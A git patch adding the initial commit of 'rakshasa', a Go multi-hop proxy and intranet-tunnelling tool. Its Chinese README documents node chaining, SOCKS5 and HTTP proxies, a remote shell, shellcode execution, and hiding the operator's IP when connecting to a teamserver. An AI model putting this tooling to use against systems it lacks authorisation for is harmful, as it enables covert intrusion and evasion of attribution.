From 30bf0dc9d0c5fce9cb63bb5bc82a47f0bf2659cb Mon Sep 17 00:00:00 2001 From: Mob2003 <2252233695@qq.com> Date: Wed, 22 Mar 2023 11:30:21 +0800 Subject: [PATCH] =?UTF-8?q?=E5=88=9D=E6=AC=A1=E6=8F=90=E4=BA=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 154 ++ aes/cfb.go | 20 + aes/ctr.go | 46 + cert/tls.go | 53 + common/addr.go | 134 ++ common/arg_linux.go | 10 + common/arg_windows.go | 29 + common/cmd.go | 321 ++++ common/config.go | 11 + common/trem_linux.go | 15 + common/trem_windows.go | 75 + config.yaml | 8 + gencert/main.go | 164 ++ go.mod | 17 + go.sum | 58 + httppool/check_proxy.go | 212 +++ in.txt | 201 +++ main.go | 212 +++ out.txt | 4 + rakshasa项目设计.md | 358 +++++ readline/.gitignore | 1 + readline/.travis.yml | 8 + readline/CHANGELOG.md | 58 + readline/LICENSE | 22 + readline/README.md | 114 ++ readline/ansi_windows.go | 249 +++ readline/complete.go | 285 ++++ readline/complete_helper.go | 165 ++ readline/complete_segment.go | 82 + readline/complete_segment_test.go | 167 ++ readline/doc/shortcut.md | 62 + .../example/readline-demo/readline-demo.go | 167 ++ readline/example/readline-im/README.md | 3 + readline/example/readline-im/readline-im.go | 60 + .../readline-multiline/readline-multiline.go | 41 + .../readline-pass-strength.go | 102 ++ .../readline-remote-client/client.go | 9 + .../readline-remote-server/server.go | 26 + readline/go.mod | 9 + readline/go.sum | 14 + readline/history.go | 332 ++++ readline/operation.go | 595 +++++++ readline/password.go | 33 + readline/rawreader_windows.go | 125 ++ readline/readline.go | 338 ++++ readline/readline_test.go | 27 + readline/remote.go | 475 ++++++ readline/runebuf.go | 649 ++++++++ readline/runes.go | 223 +++ readline/runes/runes.go | 155 ++ readline/runes/runes_test.go | 68 + readline/runes_test.go | 68 + readline/search.go | 164 ++ readline/std.go | 197 +++ readline/std_windows.go | 9 + readline/term.go | 123 ++ readline/term_bsd.go | 29 + readline/term_linux.go | 33 + readline/term_nosyscall6.go | 32 + readline/term_solaris.go | 32 + readline/term_unix.go | 24 + readline/term_windows.go | 171 ++ readline/terminal.go | 254 +++ readline/utils.go | 311 ++++ readline/utils_test.go | 1 + readline/utils_unix.go | 83 + readline/utils_windows.go | 41 + readline/vim.go | 176 +++ readline/windows_api.go | 152 ++ readme/bind.md | 33 + readme/cli.md | 43 + readme/config.md | 79 + readme/connect.md | 32 + readme/http.md | 31 + readme/remoteshell.md | 56 + readme/remotesocks5.md | 38 + readme/shellcode.md | 4 + readme/socks5.md | 34 + server/cli.go | 111 ++ server/config.go | 42 + server/conn.go | 743 +++++++++ server/http_proxy.go | 605 ++++++++ server/lock.go | 95 ++ server/node.go | 1379 +++++++++++++++++ server/order.go | 228 +++ server/raw_tcp_client.go | 325 ++++ server/raw_tcp_server.go | 64 + server/remote_socks5.go | 128 ++ server/shell.go | 837 ++++++++++ server/shell_linux .go | 106 ++ server/shell_windows.go | 139 ++ server/shellcode.go | 159 ++ server/shellcode_linux.go | 10 + server/shellcode_windows.go | 37 + server/socks5.go | 585 +++++++ 95 files changed, 14609 insertions(+) create mode 100644 README.md create mode 100644 aes/cfb.go create mode 100644 aes/ctr.go create mode 100644 cert/tls.go create mode 100644 common/addr.go create mode 100644 common/arg_linux.go create mode 100644 common/arg_windows.go create mode 100644 common/cmd.go create mode 100644 common/config.go create mode 100644 common/trem_linux.go create mode 100644 common/trem_windows.go create mode 100644 config.yaml create mode 100644 gencert/main.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 httppool/check_proxy.go create mode 100644 in.txt create mode 100644 main.go create mode 100644 out.txt create mode 100644 rakshasa项目设计.md create mode 100644 readline/.gitignore create mode 100644 readline/.travis.yml create mode 100644 readline/CHANGELOG.md create mode 100644 readline/LICENSE create mode 100644 readline/README.md create mode 100644 readline/ansi_windows.go create mode 100644 readline/complete.go create mode 100644 readline/complete_helper.go create mode 100644 readline/complete_segment.go create mode 100644 readline/complete_segment_test.go create mode 100644 readline/doc/shortcut.md create mode 100644 readline/example/readline-demo/readline-demo.go create mode 100644 readline/example/readline-im/README.md create mode 100644 readline/example/readline-im/readline-im.go create mode 100644 readline/example/readline-multiline/readline-multiline.go create mode 100644 readline/example/readline-pass-strength/readline-pass-strength.go create mode 100644 readline/example/readline-remote/readline-remote-client/client.go create mode 100644 readline/example/readline-remote/readline-remote-server/server.go create mode 100644 readline/go.mod create mode 100644 readline/go.sum create mode 100644 readline/history.go create mode 100644 readline/operation.go create mode 100644 readline/password.go create mode 100644 readline/rawreader_windows.go create mode 100644 readline/readline.go create mode 100644 readline/readline_test.go create mode 100644 readline/remote.go create mode 100644 readline/runebuf.go create mode 100644 readline/runes.go create mode 100644 readline/runes/runes.go create mode 100644 readline/runes/runes_test.go create mode 100644 readline/runes_test.go create mode 100644 readline/search.go create mode 100644 readline/std.go create mode 100644 readline/std_windows.go create mode 100644 readline/term.go create mode 100644 readline/term_bsd.go create mode 100644 readline/term_linux.go create mode 100644 readline/term_nosyscall6.go create mode 100644 readline/term_solaris.go create mode 100644 readline/term_unix.go create mode 100644 readline/term_windows.go create mode 100644 readline/terminal.go create mode 100644 readline/utils.go create mode 100644 readline/utils_test.go create mode 100644 readline/utils_unix.go create mode 100644 readline/utils_windows.go create mode 100644 readline/vim.go create mode 100644 readline/windows_api.go create mode 100644 readme/bind.md create mode 100644 readme/cli.md create mode 100644 readme/config.md create mode 100644 readme/connect.md create mode 100644 readme/http.md create mode 100644 readme/remoteshell.md create mode 100644 readme/remotesocks5.md create mode 100644 readme/shellcode.md create mode 100644 readme/socks5.md create mode 100644 server/cli.go create mode 100644 server/config.go create mode 100644 server/conn.go create mode 100644 server/http_proxy.go create mode 100644 server/lock.go create mode 100644 server/node.go create mode 100644 server/order.go create mode 100644 server/raw_tcp_client.go create mode 100644 server/raw_tcp_server.go create mode 100644 server/remote_socks5.go create mode 100644 server/shell.go create mode 100644 server/shell_linux .go create mode 100644 server/shell_windows.go create mode 100644 server/shellcode.go create mode 100644 server/shellcode_linux.go create mode 100644 server/shellcode_windows.go create mode 100644 server/socks5.go diff --git a/README.md b/README.md new file mode 100644 index 0000000..5110953 --- /dev/null +++ b/README.md @@ -0,0 +1,154 @@ + +# rakshasa + + + +rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现**多级代理**,**内网穿透**而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持**socks5代理**,**http代理**,并且可以**引入外部http、socks5代理池,自动切换请求IP**。 + +节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。 + +## 项目结构示例和截图 +[点击查看更多介绍](./rakshasa项目设计.md) + + + +## 编译与使用 + +首先生成证书: + +```shell +cd gencert +go run main.go +cd ../ +``` +也可以使用其他工具生成证书,将 server.crt 和 server.key 放到 cert 目录下。然后再编译rakshasa + +```shell +go build +``` + +在 Windows 下使用cmd跨平台编译 Linux 示例: + +```shell +cd gencert +go run main.go +cd ../ +set GOOS=linux +go build +``` + +## 使用方法 + + + +### 启动一个带CLI节点 +不带任何参数即可启动: +```shell +d:\>rakshasa.exe +start on port: 8883 +rakshasa> +rakshasa>help + +Commands: + bind 进入bind功能 + clear clear the screen + config 配置管理 + connect 进入connect功能 + exit exit the program + help display help + httpproxy 进入httpProxy功能 + new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 + ping ping 节点 + print 列出所有节点 + remoteshell 远程shell + remotesocks5 进入remotesocks5功能 + shellcode 执行shellcode + socks5 进入socks5功能 + + +rakshasa> +``` +请查阅[CLI使用说明](./readme/cli.md)了解详细信息 + +## 其他启动参数说明 +### -nocli +在无法后台执行的情况下,启动一个不带 CLI 的节点: +```shell +nohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 & +#Linux下配合nohup后台执行 +``` + +### -p 端口 +以指定端口启动: +```shell +rakshasa -p 8883 +``` + +### -d ip:port,ip:port... +连接下一层代理或更多层代理,多个地址以逗号隔开,生效在最后一个 ip:port: +```shell +rakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080 +#从本地1080端口启动一个socks5代理,流量通过三层转发ip最后在192.168.1.3请求目标数据 +``` + +### -socks5 用户名:密码@ip:端口 +本地开启SOCKS5代理穿透到远程节点,可以不带-d: +```shell +rakshasa -socks5 1080 +#不使用-d参数,则表示直接在本机启动一个socks5代理 +``` + + + +### -remotesocks5 端口 +远程开启SOCKS5代理流量出口到本地: +```shell +rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 +#方向从右往左(加上本机是3个节点),在192.168.1.3这台机器开启一个socks5端口1081,流量穿透到本地节点出去 +``` + +### -connect ip:port,remote_ip:remote_port +本地监听并转发到指定 IP 端口,使用场景为本机连接 teamserver,隐藏本机 IP: +```shell +rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 +#本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip +``` + +### -bind ip:port,remote_ip:remote_port +反向代理模式,必须配合-d使用: +```shell +rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 +#与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线ip为本机ip +``` +### -http_proxy 用户名:密码@ip:端口 +启动一个http代理,可以不使用-d,建议配合-http_proxy_pool使用代理池,自动切换代理ip: +```shell +rakshasa -http_proxy 8080 -http_proxy_pool out.txt +``` + +### -password 密钥 +各节点除了证书校验之外,还额外支持密钥连接,建议使用并定期更换密钥,以避免二进制泄露后被别人连上 +```shell +rakshasa -password 123456 +``` + + +### -f yaml文件 [详细说明](./readme/config.md) +指定配置文件启动。 + +### -help +更多启动参数使用帮助 + +## 关于开源 +本作品使用MPL 2.0许可证,您可以下载、修改和使用本代码。然而,您必须明确表示,任何此类担保、支持、赔偿或责任义务均由您单独提供,与本作者无关。本人不承担您在使用或修改本程序所造成的任何后果或责任。 + +在遵循MPL 2.0许可证的基础上,您可以自由地对rakshasa进行修改和扩展,以满足您的特定需求。同时,您可以将改进和新功能贡献给社区,让更多人受益。但请注意,确保在分享和发布修改后的代码时遵守许可证要求,并尊重原作者的版权。 + +## 联系方式 +联系我加入微信群聊 + +QQ: 2252233695 + +WeChat/微信 + +![图片](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA/YAAAVDCAMAAABTEUGaAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAxRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQ1IDc5LjE2MzQ5OSwgMjAxOC8wOC8xMy0xNjo0MDoyMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MjYyOUFBRTFDODVEMTFFREE5ODlCODE1NDYwNzBCMUEiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MjYyOUFBRTBDODVEMTFFREE5ODlCODE1NDYwNzBCMUEiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTkgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSIyMjI2NEZFNjExNUJCNUUyRTdDRjI2MDNENkI5MTMzOSIgc3RSZWY6ZG9jdW1lbnRJRD0iMjIyNjRGRTYxMTVCQjVFMkU3Q0YyNjAzRDZCOTEzMzkiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz75YRzNAAADAFBMVEXu7u7o6OmioqIUFBSTk5Nzc3Obm5v0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